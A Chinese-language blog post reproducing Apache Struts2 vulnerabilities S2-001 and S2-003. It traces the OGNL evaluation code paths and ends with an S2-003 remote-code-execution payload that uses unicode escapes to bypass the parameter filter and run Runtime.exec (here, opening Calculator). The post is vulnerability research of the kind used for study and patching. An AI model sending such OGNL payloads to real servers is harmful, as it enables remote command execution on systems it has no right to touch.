Struts2漏洞复现

S2-001

在解析一个标签如 <s:textfield name="username" label="用户名"/>,在标签的开始和结束位置,会分别调用对应实现类如org.apache.struts2.views.jsp.ComponentTagSupport 中的 doStartTag()doEndTag() 方法:

  • doStartTag():获取一些组件信息和属性赋值,总之是些初始化的工作
  • doEndTag():在标签解析结束后需要做的事,如调用组件的 end() 方法

doEndTag方法最终会调用到TextParseUtil#translateVariables 其中使用while循环对标签使用Ognl进行循环解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {  
Object result = expression;

while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;

while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}

int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}

String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}

if (TextUtils.stringSet(right)) {
result = result + right;
}

expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}

如果在username处传递${3*7}
第一次为解析${username},由于在 Struts 收到对应的 action 请求时,将 Action 对象的相关属性都放在了OgnlValueStack 的 root 对象中,此时由于是根节点的属性, OGNL 可以不使用 “#” 直接使用名称获得,也就获得我们输入的恶意表达式${3*7},然后循环继续解析触发漏洞

修复:把while(true) 去掉了

S2-003

Struts2在DefaultActionInvocation#invoke中会循环执行拦截器(Interceptor)的doIntercept方法

有一个拦截器为ParametersInterceptor,其doIntercept方法调用了this.setParameters(action, stack, parameters)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
protected void setParameters(Object action, ValueStack stack, Map parameters) {
ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
Map params = null;
if (this.ordered) {
params = new TreeMap(this.getOrderedComparator());
params.putAll(parameters);
} else {
params = new TreeMap(parameters);
}

Iterator iterator = params.entrySet().iterator();

while(true) {
Map.Entry entry;
String name;
boolean acceptableName;
do {
if (!iterator.hasNext()) {
return;
}

entry = (Map.Entry)iterator.next();
name = entry.getKey().toString();
acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
} while(!acceptableName);

Object value = entry.getValue();

try {
stack.setValue(name, value);
} catch (RuntimeException var13) {
if (devMode) {
String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification:\n{0}", new Object[]{var13.getMessage()});
LOG.error(developerNotification);
if (action instanceof ValidationAware) {
((ValidationAware)action).addActionMessage(developerNotification);
}
} else {
LOG.error("ParametersInterceptor - [setParameters]: Unexpected Exception caught setting '" + name + "' on '" + action.getClass() + ": " + var13.getMessage());
}
}
}
}

this.acceptableName(name) 限制参数名中不能出现= , # :

1
2
3
protected boolean acceptableName(String name) {  
return name.indexOf(61) == -1 && name.indexOf(44) == -1 && name.indexOf(35) == -1 && name.indexOf(58) == -1 && !this.isExcluded(name);
}

然后调用stack.setValue(name, value) name为参数名,value为参数值

1
2
3
public static void setValue(String name, Map context, Object root, Object value) throws OgnlException {  
Ognl.setValue(compile(name), context, root, value);
}

在OGNL中,根据表达式的不同会使用不同的构造树来进行处理,compile方法即决定构造树的类型
如果为(aaa)(bbb) 的形式后续会调用ASTEval 进行处理

接着调用OgnlUtil.setValue(expr, context, this.root, value) expr为参数名, value为参数值

然后经过一系列调用会到ASTEval#getValueBody

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected Object getValueBody(OgnlContext context, Object source) throws OgnlException {
Object expr = super.children[0].getValue(context, source);
Object previousRoot = context.getRoot();
source = super.children[1].getValue(context, source);
Node node = expr instanceof Node ? (Node)expr : (Node)Ognl.parseExpression(expr.toString());

Object result;
try {
context.setRoot(source);
result = node.getValue(context, source);
} finally {
context.setRoot(previousRoot);
}

return result;
}

对于(one)(two)

解析流程:

  1. 取第一个节点,也就是 one,调用其 getValue() 方法计算其值,放入 expr 中;
  2. 取第二个节点,也就是 two,赋值给 source ;
  3. 判断 expr 是否为 node 类型,如果不是,则调用 Ognl.parseExpression() 尝试进行解析,解析的结果强转为 node 类型;
  4. 将 source 放入 root 中,调用 node 的 setValue() 方法对其进行解析;
  5. 还原之前的 root。

但若传递参数

1
(@java.lang.Runtime@getRuntime().exec('open -a Calculator'))('aaa')=1

无法实现RCE
通过debug可以发现在XWorkMethodAccessor#callStaticMethod 方法从context中取出xwork.MethodAccessor.denyMethodExecution,并判断其是否为false,若为false才能执行静态方法

1
2
3
4
5
public Object callStaticMethod(Map context, Class aClass, String string, Object[] objects) throws MethodFailedException {
Boolean exec = (Boolean)context.get("xwork.MethodAccessor.denyMethodExecution");
boolean e = exec == null ? false : exec;
return !e ? super.callStaticMethod(context, aClass, string, objects) : null;
}

我们只需要将context.XWorkMethodAccessor修改为false即可

但是过滤了#=,在对表达式进行解析时,由于在 OgnlParserTokenManager 方法中使用了 ognl.JavaCharStream#readChar() 方法,在读到 \\u 的情况下,会继续读入 4 个字符,并将它们转换为 char,因此 OGNL 表达式实际上支持了 unicode 编码,这就绕过了之前正则或者字符串判断的限制。
最终Exp如下:

1
(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)(a)(@java.lang.Runtime@getRuntime().exec('open -a Calculator'))(b)=xux

Struts2漏洞复现
https://www.xuxblog.top/2024/03/08/Struts2漏洞复现/
发布于
2024年3月8日
许可协议